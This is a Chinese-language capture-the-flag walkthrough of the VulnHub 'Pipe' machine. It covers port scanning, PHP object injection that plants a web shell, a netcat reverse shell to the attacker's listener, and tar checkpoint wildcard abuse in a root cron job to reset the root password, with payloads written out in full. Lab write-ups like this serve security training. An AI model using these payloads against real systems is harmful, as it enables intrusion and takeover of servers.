今天我将给大家演示我是如何解决VulnHub挑战赛这道名为Pipe题目的。
当然CTF玩的就是思路,这篇文章的思路不一定是最好的。仅仅作为抛砖,欢迎大家在文尾下载这道题目来玩!
枚举
PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack OpenSSH 6.7p1 Debian 5 (protocol 2.0) | ssh-hostkey: | 1024 16:48:50:89:e7:c9:1f:90:ff:15:d8:3e:ce:ea:53:8f (DSA) | 2048 ca:f9:85:be:d7:36:47:51:4f:e6:27:84:72:eb:e8:18 (RSA) |_ 256 d8:47:a0:87:84:b2:eb:f5:be:fc:1c:f1:c9:7f:e3:52 (ECDSA) 80/tcp open http syn-ack Apache httpd | http-auth:| HTTP/1.1 401 Unauthorized |_ Basic realm=index.php |_http-server-header: Apache |_http-title: 401 Unauthorized 111/tcp open rpcbind syn-ack 2-4 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2,3,4 111/tcp rpcbind | 100000 2,3,4 111/udp rpcbind | 100024 1 42192/udp status |_ 100024 1 47286/tcp status 47286/tcp open status syn-ack 1 (RPC #100024) MAC Address: 00:0C:29:05:96:3D (VMware) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.0 Uptime guess: 199.640 days (since Sat May 9 04:40:31 2015) Network Distance: 1 hop TCP Sequence Prediction: Difficulty=262 (Good luck!) IP ID Sequence Generation: All zeros Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
服务枚举
HTTP枚举
针对80端口运行OWASP dirbuster暴露出/scriptz/中的JavaScript和PHP文件
源代码审计
php.js Interrogation:
js.php源代码中显示了序列号函数,注意本例的末尾:
function serialize(mixed_value) { // discuss at: http://phpjs.org/functions/serialize/ // original by: Arpad Ray (mailto:arpad@php.net) // improved by: Dino // improved by: Le Torbi (http://www.letorbi.de/) // improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net/) // bugfixed by: Andrej Pavlovic // bugfixed by: Garagoth // bugfixed by: Russell Walker (http://www.nbill.co.uk/) // bugfixed by: Jamie Beck (http://www.terabit.ca/) // bugfixed by: Kevin van Zonneveld // (http://kevin.vanzonneveld.net/) // bugfixed by: Ben (http://benblume.co.uk/) // input by: DtTvB (http://dt.in.th/2008-09-16.string-length-in-bytes.h // input by: Martin (http://www.erlenwiese.de/) // note: We feel the main purpose of this function should be to ease the transport of data between php & js // note: Aiming for PHP-compatibility, we have to translate objects to arrays // example 1: serialize(['Kevin', 'van', 'Zonneveld']); // returns 1:'a:3:{i:0;s:5:"Kevin";i:1;s:3:"van";i:2;s:9:"Zonneveld";}' // example 2: serialize({firstName:'Kevin', midName: 'van', surName:'Zonneveld'}); // returns 2: 'a:3:{s:9:"firstName";s:5:"Kevin";s:7:"midName";s:3:"van";s:7:"surName";s:9:"Zonneveld";}'
log.php.BAK
对源代码进行审计发现,它使用Js文件进行序列化
Burp Suite – POST请求
修改POST请求,提交到index.php
之后Burp确认了这个序列化对象:
解码字符串
选中字符串,点击右键发送到Decoder
单击智能解码(Smart decode)
使用之前发现的php.js,是有可能计算出序列化机制的
将新修改好的字符串导入burp:
O:3:"Log":2:{s:8:"filename";s:30:"/var/www/html/scriptz/Meh1.txt";s:4:"data";s:12:"HighOnCoffee";}
使用Burp Decoder URL编码上面的字符串,并使用Burp Repeater进行注入
刷新scriptz目录确认创建的Meh.txt中包含HighOnCoffee文本
反向Shell注入
Burp Decoder被利用来编码以下字符串:
O:3:"Log":2:{s:8:"filename";s:31:"/var/www/html/scriptz/shell.php";s:4:"data";s:60:"<?php echo '<pre>'; system($_GET['cmd']); echo '</pre>'; ?>";}
选择Encode as URL
将编码字符串复制到Burp Repeater:
PHP Shell
反向Shell
目标已经安装好nc,PHP Shell在前面步骤就已经导入且能帮助我们执行一个netcat反向Shell
[root:~]# nc -v -n -l -p 443 listening on [any] 443 ... connect to [192.168.30.134] from (UNKNOWN) [192.168.30.142] 37957 id uid=33(www-data) gid=33(www-data) groups=33(www-data) whoami www-data
Linux本地提权
Spawn tty:
python -c 'import pty;pty.spawn("/bin/bash")'
获取HighOn.Coffee本地枚举脚本:
wget https://highon.coffee/downloads/linux-local-enum.sh
检测/etc/crontab发现/usr/bin/compress.sh可读
Unix通配符本地特权提升
Unix通配符
前面发现备份脚本使用*执行/home/rene/backup/目录下所有文件备份。由于对备份目录系统权限设置太差,一旦在该目录备份文件,Tar命令开始工作便可以将文件导入进备份目录中。
Tar任意命令执行
Tar的–checkpoint-action参数可以被滥用执行任意代码,当文件名的前缀为–checkpoint-action=exec=COMMAND-HERE,–checkpoint-action作为一个功能存在,允许二进制执行一条命令。
www-data@pipe:/home/rene/backup$ echo > --checkpoint-action=exec=sh/ passwd.sh; <ckup$ echo > --checkpoint-action=exec=sh/ passwd.sh; www-data@pipe:/home/rene/backup$ echo > --checkpoint=1; echo > --checkpoint=1;
以上为利用Tar执行任意命令,大约5分钟root账户的密码便会进行重置。
Root Flag
5分钟之后通过执行su -提升为root权限,输入密码passwd